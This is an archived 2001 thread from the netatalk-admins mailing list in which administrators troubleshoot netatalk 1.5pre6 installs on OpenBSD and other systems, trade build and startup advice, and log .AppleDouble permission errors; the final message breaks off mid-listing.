Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA23301
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 14:34:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04919
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 14:34:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04898
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 14:34:33 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA04521
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 14:34:32 -0400 (EDT)
Received: (qmail 17426 invoked by alias); 23 Apr 2001 18:34:14 -0000
Received: (qmail 15746 invoked by uid 0); 23 Apr 2001 18:31:45 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 18:31:45 -0000
Subject: Re: 1.5pre6 not installing on OpenBSD 2.8
From: Matthew Keller <kellermg@potsdam.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.20.0104231221280.14804-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0104231221280.14804-100000@garnet.tc.umn.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 14:31:38 -0400
Message-Id: <988050698.4235.25.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    I have had problems in the past with multiple Netatalk binaries on
    the same box - Depending on how your "path" is contructed you might
    be trying to execute the bins you're not anticipating. I would try
    to execute them manually. All you need is atalkd and afpd (you don't
    have to fool with nbpregister, etc). A good test is to (as root)
    just run (with the correct paths):

    /usr/local/sbin/atalkd; /usr/local/sbin/afpd -c 500 -n "Your
    Box@Your Zone" -U uams_clrtxt.so

    And see what beeps. If atalkd dies, its probably a problem binding
    to libatalk. If afpd dies but atalkd keeps running, its more likely
    a config error. From the output you've sent, the build seems ok, its
    the install that looks less-than-yummy.


On 23 Apr 2001 12:49:22 -0500, Karen A Swanberg wrote:
> 
> I've downloaded from sourceforge the 1.5pre6 tarball.
> 
> After reading the "Install path problems in Debian" thread, I'm using this
> configure:
> 
> # ./configure --prefix=/usr/local \
>       --with-config-dir=/usr/local/etc \
>       --with-ssl-dir=/usr > install.txt
> 
> ./configure[5119]: AUTHORS: not found
> 
> 
> # gmake >> install.txt
> 
> uam.c: In function `uam_afpserver_option': 
> uam.c:324: warning: assignment makes pointer from integer without a cast
> file.c:1615: 
> warning: mktemp() possibly used unsafely; consider using
> mkstemp() magics.c: In function `cm_psadobe': magics.c:111: 
> warning: initialization from incompatible pointer type magics.c:132: 
> [about 30 more similar lines]
> 
> #gmake install >> install.txt
> 
> Makefile:374: warning: overriding commands for target `install-strip'
> Makefile:304: warning: ignoring old commands for target `install-strip'
> Makefile:382: warning: overriding commands for target `clean-recursive'
> ...
> 
> 
> When I reboot the machine, the daemons don't start, but fail silently. 
>  
> More info:
> 
> in my /var/log/messages: 
> 
> .
> starting local daemons:. 
> starting appletalk daemons: . 
> .
> 
> 
> my rc.local:
> 
> echo -n 'starting appletalk daemons:' 
> echo ' . '
> 
> 
> if [ -x :SBINDIR:/atalkd ]; then
> #       :SBINDIR:/atalkd -f /etc/atalk/atalkd.conf;     echo -n ' atalkd'
>         :SBINDIR:/atalkd;       echo -n ' atalkd'
> fi
> 
> if [ -x :BINDIR:/nbprgstr ]; then
>         :BINDIR:/nbprgstr -p 4 `hostname|sed 's/\..*$//'`:Workstation
>         :BINDIR:/nbprgstr -p 4 `hostname|sed 's/\..*$//'`:netatalk
>                                 echo -n ' nbprgstr'
> fi
> 
> if [ -x :SBINDIR:/afpd ]; then
> #       :SBINDIR:/afpd -G;              echo -n ' afpd'
>         :SBINDIR:/afpd;                 echo -n ' afpd'
> fi
> 
> 
> [all timelord stuff commented out]
> 
> dmesg | grep -i Apple doesn't give me anything.
> 
> My Makefile:
> 
> SHELL = /bin/sh
> srcdir = .
> top_srcdir = .
> prefix = /usr/local
> exec_prefix = ${prefix}
> 
> bindir = ${exec_prefix}/bin
> ...
> 
> 
> and in /usr/local/etc/ my afpd.conf at the moment is the default, with
> everything commented out. My AppleVolumes.default is this:
> 
> ~
> /home/public    "Public Fileshare"
> 
> and my atalkd.conf is this
> 
> fxp0
> 
> this line usually gets populated on the first reboot, but this time is
> not.
> 
> 
> I have no idea what this might be (although I just got a sneaking
> suspicion it's to do with my other unix machines...), anyone have any
> suggestions on where to turn from here?
> 
> I've repeatedly run
> gmake clean, but gmake distclean and gmake uninstall both don't work.
> 
> I -do- have 1.4b2+asun2.1.3 running successfully on this machine, those
> binaries are in /usr/local/atalk though, and the config files are
> somewhere else too.
> 
> 
> I have that install.txt file to which I logged all of my
> .configure/gmake/gmake install outputs, if anyone wants it.
> 
> Any other useful info I can send along?
> 
> Sincerely,
> 
> *                                                     *
> Karen Swanberg              |                         
> Network Admin.              | Error: Sector not found-- 
> Dept. of Geology/Geophysics |search behind couch? (Y/N)
> 206 Pillsbury Hall          |                         
> 310 Pillsbury Ave. SE       |                         
> University of Mn            |  Enter any 11-digit prime
> Minneapolis, MN 55455       |     number to continue...
> (612) 624-6541              |                         
> *                                                     *
> 
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 15:36:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25681
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 15:36:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 15:36:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26244
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 15:36:07 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA26102
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 15:36:05 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 14:36:04 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 14:36:03 -0500
Date: Mon, 23 Apr 2001 14:36:03 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre6 not installing on OpenBSD 2.8-fixed
In-Reply-To: <988050698.4235.25.camel@comp10574.potsdam.edu>
Message-Id: <Pine.SOL.4.20.0104231413370.23284-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 04/23/01, Matthew Keller wisely declared:

> 
>     I have had problems in the past with multiple Netatalk binaries on
>     the same box - Depending on how your "path" is contructed you might
>     be trying to execute the bins you're not anticipating. I would try
>     to execute them manually. All you need is atalkd and afpd (you don't
>     have to fool with nbpregister, etc). A good test is to (as root)
>     just run (with the correct paths):
> 
>     /usr/local/sbin/atalkd; /usr/local/sbin/afpd -c 500 -n "Your
>     Box@Your Zone" -U uams_clrtxt.so

This test ran successfully. So going on the multiple binaries theory, I
changed all of the lines in my rc.local from

if [ -x :SBINDIR:/atalkd ]; then

to

if [ -x /usr/local/sbin/atalkd ]; then

and now everything is running mostly smoothly (yes!) but alas, I must now
jump into the permissions thread, as I am still getting the .AppleDouble
error on the server. More over there.

Tcp_wrappers still isn't working on OpenBSD, but that's been documented at
SourceForge, under 

http://sourceforge.net/tracker/?func=detail&atid=108642&aid=414406&group_id=8642

and seems to be a build problem I am unable to track down.

I'll continue to beat on 1.5pre6 on OpenBSD...

Sincerely,

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *




From netatalk.administrators-errors@umich.edu  Mon Apr 23 15:58:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26580
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 15:58:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29126
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 15:58:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29105
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 15:58:22 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA29058
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 15:58:20 -0400 (EDT)
Received: (qmail 19100 invoked by alias); 23 Apr 2001 19:58:26 -0000
Received: (qmail 19090 invoked by uid 0); 23 Apr 2001 19:58:26 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 19:58:26 -0000
Subject: Re: 1.5pre6 not installing on OpenBSD 2.8-fixed
From: Matthew Keller <kellermg@potsdam.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.20.0104231413370.23284-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0104231413370.23284-100000@garnet.tc.umn.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 15:58:20 -0400
Message-Id: <988055900.4233.27.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 23 Apr 2001 14:36:03 -0500, Karen A Swanberg wrote:
> and now everything is running mostly smoothly (yes!) but alas, I must now
> jump into the permissions thread, as I am still getting the .AppleDouble
> error on the server. More over there.

    Super spiffy that you've got running daemons! Grumbliness that
    you're having the permissions problem. I had them with other
    1.5pre's, but once I manually changed the broken .AppleDoubles and
    was definitely running on 1.5pre6, everything has been roses since.
    *sigh* Any further hints you can provide would be most helpful as I
    can't get pre6 to reproduce this (and BOY have I tried).

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 16:00:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26644
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 16:00:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08544
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 16:00:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08509
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 16:00:23 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA08434
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 16:00:21 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000067337 for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 21:55:30 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310100b70a3a83929b@[192.168.1.201]>
Date: Mon, 23 Apr 2001 22:07:47 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: netatalk-devel package
Content-Type: text/plain; charset="us-ascii"

Hi All,

could someone make a point on how crucial it is (or necessary) to use the appropriate netatalk-devel package alongside to netatalk when compiling a new version?  This is something fairly undocumented...
BTW, I'm having difficulties to install the 1.5p6 devel-rpm on some older boxes which have an older rpm version.  Could this be provided as tar as well (OK, I can get them out I guess, on a newer distri or w the apropriate rpm package...)?

Thanx,

:-)


Lorenzo

From netatalk.administrators-errors@umich.edu  Mon Apr 23 16:08:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 16:08:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA22568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 16:08:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA22544
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 16:08:27 -0400 (EDT)
Received: from Headwaiter.discjuke.com (host.disc-storage.com [207.247.74.82] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA22501
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 16:08:26 -0400 (EDT)
Received: from Win98St1 (node-64-248-99-178.dslspeed.zyan.com [64.248.99.178]) by Headwaiter.discjuke.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id F5QF6FMW; Mon, 23 Apr 2001 13:07:49 -0700
From: "Frances Clark" <fclark@disc-storage.com>
To: <netatalk-admins@umich.edu>
Subject: netatalk on AIX
Date: Mon, 23 Apr 2001 13:13:13 -0700
Message-ID: <NEBBIHFFKMJKAMJCCFNNCENPCAAA.fclark@disc-storage.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal

Hello,

I am new to using netatalk, but I have successfully run netatalk on Redhat
6.2 using the provided pre-compiled binaries in rpms with almost no
problems.  However, I now need to compile and run netatalk on an AIX system.
I was wondering if anyone else has tried this, and if so, with what degree
of success?  Will netatalk compile for AIX?

Thanks in advance for your time,

--frances

_____________________________

F r a n c e s  R.  C l a r k

Senior Systems Architect
Disc, Inc.
www.disc-storage.com
fclark@disc-storage.com
_____________________________


From netatalk.administrators-errors@umich.edu  Mon Apr 23 16:35:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28744
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 16:35:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA09783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 16:35:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA09762
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 16:35:49 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA09721
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 16:35:48 -0400 (EDT)
Received: (qmail 602 invoked by alias); 23 Apr 2001 20:35:55 -0000
Received: (qmail 592 invoked by uid 0); 23 Apr 2001 20:35:55 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 20:35:55 -0000
Subject: Re: netatalk-devel package
From: Matthew Keller <kellermg@potsdam.edu>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Cc: netatalk-admins@umich.edu
In-Reply-To: <a04310100b70a3a83929b@[192.168.1.201]>
References: <a04310100b70a3a83929b@[192.168.1.201]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 16:35:48 -0400
Message-Id: <988058148.4234.30.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 23 Apr 2001 22:07:47 +0200, Lorenzo Perone wrote:
> could someone make a point on how crucial it is (or necessary) to use the 
> appropriate netatalk-devel package alongside to netatalk when
> compiling a new version?  This is something fairly undocumented...

    I actually, never even noticed the -devel packages, and don't know
    what they do. I strongly recommend compiling from source - I have to
    stress that. The new autoconf system makes it extremely easy
    (./configure --help for a list of options) and will increase your
    stability, while decreasing the number of "it's because you
    installed from a package" problems. And when you DO have problems,
    it's much easier to troubleshoot. No offense intended to the
    packagers - They do a good/necessary job.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 16:54:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA29282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 16:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14893
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 16:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14868
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 16:54:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA14792
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 16:54:22 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f3NKsHn25757;
	Mon, 23 Apr 2001 16:54:17 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AE49670.9807B636@univrel.pr.uconn.edu>
Date: Mon, 23 Apr 2001 16:54:08 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Matthew Keller <kellermg@potsdam.edu>
CC: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        netatalk-admins@umich.edu
Subject: Re: netatalk-devel package
References: <a04310100b70a3a83929b@[192.168.1.201]> <988058148.4234.30.camel@comp10574.potsdam.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Matthew Keller wrote:
> 
> On 23 Apr 2001 22:07:47 +0200, Lorenzo Perone wrote:
> > could someone make a point on how crucial it is (or necessary) to use the
> > appropriate netatalk-devel package alongside to netatalk when
> > compiling a new version?  This is something fairly undocumented...
> 
>     I actually, never even noticed the -devel packages, and don't know
>     what they do. I strongly recommend compiling from source - I have to
>     stress that. The new autoconf system makes it extremely easy
>     (./configure --help for a list of options) and will increase your
>     stability, while decreasing the number of "it's because you
>     installed from a package" problems. And when you DO have problems,
>     it's much easier to troubleshoot. No offense intended to the
>     packagers - They do a good/necessary job.

Thanks. The devel package is for people who are creating libatalk-based
applications. It's pretty useless for everyone else, though.

jeff

From netatalk.administrators-errors@umich.edu  Mon Apr 23 17:10:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29802
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 17:10:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA11963
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 17:10:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA11933
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 17:10:18 -0400 (EDT)
Received: from tamaris.wanadoo.fr (smtp-rt-12.wanadoo.fr [193.252.19.60])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA11893
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 17:10:17 -0400 (EDT)
Received: from andira.wanadoo.fr (193.252.19.152) by tamaris.wanadoo.fr; 23 Apr 2001 23:10:16 +0200
Received: from jeromep8x2uinv (193.249.191.156) by andira.wanadoo.fr; 23 Apr 2001 23:09:45 +0200
Message-ID: <001c01c0cc3a$9793a8e0$9cbff9c1@jeromep8x2uinv>
From: "Jerome Nadal" <jerome.nadal@wanadoo.fr>
To: <netatalk-admins@umich.edu>
Subject: Help about Caldera eDesktop 2.4 and netatalk
Date: Mon, 23 Apr 2001 23:15:25 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0019_01C0CC4B.46EFAD60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0019_01C0CC4B.46EFAD60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
I 'm running Caldera eDesktop 2.4 wich had netatalk asun-1.4b2_2.1.3 =
installed.
I can start up atalk, I can see my server in the chooser (I've got an =
Ibook running under MacOs 8.6 and an Imac under MacOs 9.1),  I can't =
login as a user but I can connect to the server using guest but then I =
don't see any volumes.

Any help would be  appreciated
Jerome

------=_NextPart_000_0019_01C0CC4B.46EFAD60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I 'm running Caldera eDesktop 2.4 wich =
had netatalk=20
asun-1.4b2_2.1.3 installed.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I can start up atalk, I can see my =
server in the=20
chooser (I've got an Ibook running under MacOs 8.6 and an Imac under =
MacOs=20
9.1),&nbsp; I can't login as a user but I can connect to the server =
using guest=20
but then I don't see any volumes.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any help would be&nbsp; =
appreciated</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jerome</FONT></DIV></BODY></HTML>

------=_NextPart_000_0019_01C0CC4B.46EFAD60--


From netatalk.administrators-errors@umich.edu  Mon Apr 23 18:20:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA02318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 18:20:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16285
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 18:20:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16253
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 18:20:43 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA16152
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 18:20:42 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 17:20:41 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 17:20:33 -0500
Date: Mon, 23 Apr 2001 17:20:33 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: .AppleDouble tests on OpenBSD (long...)
Message-Id: <Pine.SOL.4.20.0104231638120.2960-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Ok, I'm doing my best to run a thorough set of tests to figure out when
the .AppleDouble permissions tank on OpenBSD.

First of all, I only ever get the errors on the server. From the client
side, the usage is seamless, Joe MacUser would never know there was a
problem.

The client is a PowerMac G3, running OS 8.0. I also have access to the
same computer model with 8.1 and 8.6, if that will help, and I also have
blue G4's running 9.0.4. I choose this one because it was physically
closest, and I could see the console on the BSD machine. However, the
9.0.4 machines have SSH, so I can log in and watch /var/log/messages from
there as well if necessary.

For testing purposes, I created two new test directories:

/home2/sticky_no 	chmod 0777; chown geology;chgrp guest
/home2/sticky_yes 	chmod 1777; chown geology;chgrp guest

in order to see if the sticky bit had anything to do with this. These are
brand new directories, so no legacy .AppleDouble or .Parent files.

I added them to /usr/local/etc/AppleVolumes.default, and sighuped inetd.

They're being accessed under the general test account, which in this case
is geology/guest (I don't allow the actual guest account).

With sticky_no, I log in from the client, create a new directory
(sticky-no-2), and copy in a file from the client desktop. No errors. I
then dismounted the directory, remounted it, and launched the file (it's a
gif opening in Photoshop). No errors. I then threw the file away, and got
these errors:


Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Operation not permitted 
Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
.AppleDouble: Operation not permitted 
Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
.: Operation not permitted 
Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted 
Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0 
.AppleDouble/.Parent: Operation not permitted

I have not yet emptied the trash.

epidote# pwd
/home2/sticky_no
ls -als
1 drwxrwxrwx  6 geology  guest  512 Apr 23 16:30 .
1 drwxr-xr-x  8 root     wheel  512 Apr 23 16:23 ..
1 drwxrwxrwx  3 geology  guest  512 Apr 23 16:29 .AppleDesktop
1 drwxrwxrwx  2 geology  guest  512 Apr 23 16:29 .AppleDouble
1 drwx--Srwx  4 geology  guest  512 Apr 23 16:30 Network Trash Folder
1 drwxrwsrwx  3 geology  guest  512 Apr 23 16:30 sticky-no-2

(note, I did not set the perms on Network Trash Folder, netatalk did, and
I don't know why the stickybit is on sticky-no-2. It shouldn't be there.
Hm...Didn't notice this until way late, right before I sent this message.)

I'll do the same process with /home2/sticky_yes now.

Exact same sequence, same errors, with sticky_yes

epidote# pwd
/home2/sticky_ye

1 drwxrwxrwt 5 geology guest 512 Apr 23 16:56 . 
1 drwxr-xr-x 8 root    wheel 512 Apr 23 16:23 .. 
1 drwxrwxrwx 2 geology guest 512 Apr 23 16:56 .AppleDouble 
1 drwx--Srwx 3 geology guest 512 Apr 23 16:56 Network Trash Folder 
